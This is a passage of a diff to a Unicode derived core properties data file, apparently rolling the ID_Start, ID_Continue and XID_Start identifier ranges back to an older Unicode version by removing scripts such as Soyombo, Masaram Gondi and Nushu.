KSSA -11A3A ; ID_Start # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A50 ; ID_Start # Lo SOYOMBO LETTER A -11A5C..11A83 ; ID_Start # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; ID_Start # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; ID_Start # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; ID_Start # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; ID_Start # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; ID_Start # Lo BHAIKSUKI SIGN AVAGRAHA 11C72..11C8F ; ID_Start # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; ID_Start # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; ID_Start # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; ID_Start # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; ID_Start # Lo MASARAM GONDI REPHA 12000..12399 ; ID_Start # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; ID_Start # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; ID_Start # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -6329,11 +6269,10 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 16F00..16F44 ; ID_Start # Lo [69] MIAO LETTER PA..MIAO LETTER HHA 16F50 ; ID_Start # Lo MIAO LETTER NASALIZATION 16F93..16F9F ; ID_Start # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; ID_Start # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; ID_Start # Lm TANGUT ITERATION MARK 17000..187EC ; ID_Start # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; ID_Start # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; ID_Start # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; ID_Start # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; ID_Start # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; ID_Start # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; ID_Start # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; ID_Start # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -6407,10 +6346,9 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 2A700..2B734 ; ID_Start # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; ID_Start # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; ID_Start # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; ID_Start # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; ID_Start # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 125334 +# Total code points: 117007 # ================================================ @@ -6513,7 +6451,6 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 0829..082D ; ID_Continue # Mn [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA 0840..0858 ; ID_Continue # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 0859..085B ; ID_Continue # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK -0860..086A ; ID_Continue # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; ID_Continue # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; ID_Continue # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08D4..08E1 ; ID_Continue # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA @@ -6558,7 +6495,6 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 09E2..09E3 ; ID_Continue # Mn [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL 09E6..09EF ; ID_Continue # Nd [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE 09F0..09F1 ; ID_Continue # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; ID_Continue # Lo BENGALI LETTER VEDIC ANUSVARA 0A01..0A02 ; ID_Continue # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03 ; ID_Continue # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; ID_Continue # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -6601,7 +6537,6 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 0AE2..0AE3 ; ID_Continue # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL 0AE6..0AEF ; ID_Continue # Nd [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE 0AF9 ; ID_Continue # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; ID_Continue # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; ID_Continue # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; ID_Continue # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C ; ID_Continue # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -6685,12 +6620,11 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 0CE2..0CE3 ; ID_Continue # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CE6..0CEF ; ID_Continue # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE 0CF1..0CF2 ; ID_Continue # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; ID_Continue # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; ID_Continue # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; ID_Continue # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; ID_Continue # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; ID_Continue # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI 0D12..0D3A ; ID_Continue # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C ; ID_Continue # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3D ; ID_Continue # Lo MALAYALAM SIGN AVAGRAHA 0D3E..0D40 ; ID_Continue # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; ID_Continue # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -6954,7 +6888,6 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 1CF2..1CF3 ; ID_Continue # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; ID_Continue # Mn VEDIC TONE CANDRA ABOVE 1CF5..1CF6 ; ID_Continue # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; ID_Continue # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; ID_Continue # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE 1D00..1D2B ; ID_Continue # L& [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A ; ID_Continue # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI @@ -6962,7 +6895,7 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 1D78 ; ID_Continue # Lm MODIFIER LETTER CYRILLIC EN 1D79..1D9A ; ID_Continue # L& [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK 1D9B..1DBF ; ID_Continue # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9 ; ID_Continue # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; ID_Continue # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; ID_Continue # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1E00..1F15 ; ID_Continue # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA 1F18..1F1D ; ID_Continue # L& [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA @@ -7053,12 +6986,12 @@ FFDA..FFDC ; ID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 30A1..30FA ; ID_Continue # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; ID_Continue # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; ID_Continue # Lo KATAKANA DIGRAPH KOTO -3105..312E ; ID_Continue # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; ID_Continue # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; ID_Continue # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; ID_Continue # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; ID_Continue # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; ID_Continue # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; ID_Continue # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; ID_Continue # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; ID_Continue # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; ID_Continue # Lm YI SYLLABLE WU A016..A48C ; ID_Continue # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -7246,7 +7179,7 @@ FFDA..FFDC ; ID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HAN 102A0..102D0 ; ID_Continue # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 102E0 ; ID_Continue # Mn COPTIC EPACT THOUSANDS MARK 10300..1031F ; ID_Continue # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; ID_Continue # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; ID_Continue # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; ID_Continue # Nl GOTHIC LETTER NINETY 10342..10349 ; ID_Continue # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; ID_Continue # Nl GOTHIC LETTER NINE HUNDRED @@ -7434,25 +7367,6 @@ FFDA..FFDC ; ID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HAN 118A0..118DF ; ID_Continue # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118E0..118E9 ; ID_Continue # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118FF ; ID_Continue # Lo WARANG CITI OM -11A00 ; ID_Continue # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; ID_Continue # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; ID_Continue # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; ID_Continue # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; ID_Continue # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38 ; ID_Continue # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; ID_Continue # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; ID_Continue # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; ID_Continue # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; ID_Continue # Mn ZANABAZAR SQUARE SUBJOINER -11A50 ; ID_Continue # Lo SOYOMBO LETTER A -11A51..11A56 ; ID_Continue # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; ID_Continue # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; ID_Continue # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; ID_Continue # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; ID_Continue # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; ID_Continue # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; ID_Continue # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; ID_Continue # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11AC0..11AF8 ; ID_Continue # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; ID_Continue # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; ID_Continue # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -7471,16 +7385,6 @@ FFDA..FFDC ; ID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HAN 11CB2..11CB3 ; ID_Continue # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; ID_Continue # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; ID_Continue # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; ID_Continue # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; ID_Continue # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; ID_Continue # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; ID_Continue # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; ID_Continue # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; ID_Continue # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; ID_Continue # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46 ; ID_Continue # Lo MASARAM GONDI REPHA -11D47 ; ID_Continue # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; ID_Continue # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399 ; ID_Continue # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; ID_Continue # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; ID_Continue # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -7502,11 +7406,10 @@ FFDA..FFDC ; ID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HAN 16F51..16F7E ; ID_Continue # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F8F..16F92 ; ID_Continue # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F ; ID_Continue # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; ID_Continue # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; ID_Continue # Lm TANGUT ITERATION MARK 17000..187EC ; ID_Continue # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; ID_Continue # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; ID_Continue # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; ID_Continue # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; ID_Continue # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; ID_Continue # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; ID_Continue # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; ID_Continue # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -7603,11 +7506,10 @@ FFDA..FFDC ; ID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HAN 2A700..2B734 ; ID_Continue # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; ID_Continue # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; ID_Continue # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; ID_Continue # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; ID_Continue # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D E0100..E01EF ; ID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 128108 +# Total code points: 119691 # ================================================ @@ -7676,7 +7578,6 @@ E0100..E01EF ; ID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR 0824 ; XID_Start # Lm SAMARITAN MODIFIER LETTER SHORT A 0828 ; XID_Start # Lm SAMARITAN MODIFIER LETTER I 0840..0858 ; XID_Start # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; XID_Start # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; XID_Start # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; XID_Start # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 0904..0939 ; XID_Start # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA @@ -7696,7 +7597,6 @@ E0100..E01EF ; ID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR 09DC..09DD ; XID_Start # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA 09DF..09E1 ; XID_Start # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09F0..09F1 ; XID_Start # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; XID_Start # Lo BENGALI LETTER VEDIC ANUSVARA 0A05..0A0A ; XID_Start # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; XID_Start # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; XID_Start # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -7953,12 +7853,12 @@ E0100..E01EF ; ID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR 30A1..30FA ; XID_Start # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; XID_Start # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; XID_Start # Lo KATAKANA DIGRAPH KOTO -3105..312E ; XID_Start # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; XID_Start # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; XID_Start # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; XID_Start # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; XID_Start # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; XID_Start # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; XID_Start # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; XID_Start # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; XID_Start # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; XID_Start # Lm YI SYLLABLE WU A016..A48C ; XID_Start # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -8081,7 +7981,7 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 10280..1029C ; XID_Start # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; XID_Start # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; XID_Start # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; XID_Start # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; XID_Start # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; XID_Start # Nl GOTHIC LETTER NINETY 10342..10349 ; XID_Start # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; XID_Start # Nl GOTHIC LETTER NINE HUNDRED @@ -8168,21 +8068,11 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 11700..11719 ; XID_Start # Lo [26] AHOM LETTER KA..AHOM LETTER JHA 118A0..118DF ; XID_Start # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118FF ; XID_Start # Lo WARANG CITI OM -11A00 ; XID_Start # Lo ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; XID_Start # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A3A ; XID_Start # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A50 ; XID_Start # Lo SOYOMBO LETTER A -11A5C..11A83 ; XID_Start # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; XID_Start # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; XID_Start # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; XID_Start # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; XID_Start # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; XID_Start # Lo BHAIKSUKI SIGN AVAGRAHA 11C72..11C8F ; XID_Start # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; XID_Start # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; XID_Start # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; XID_Start # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; XID_Start # Lo MASARAM GONDI REPHA 12000..12399 ; XID_Start # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; XID_Start # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; XID_Start # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -8198,11 +8088,10 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 16F00..16F44 ; XID_Start # Lo [69] MIAO LETTER PA..MIAO LETTER HHA 16F50 ; XID_Start # Lo MIAO LETTER NASALIZATION 16F93..16F9F ; XID_Start # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; XID_Start # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; XID_Start # Lm TANGUT ITERATION MARK 17000..187EC ; XID_Start # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; XID_Start # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; XID_Start # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; XID_Start # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; XID_Start # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; XID_Start # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; XID_Start # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; XID_Start # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -8276,10 +8165,9 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 2A700..2B734 ; XID_Start # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; XID_Start # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; XID_Start # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; XID_Start # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; XID_Start # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D 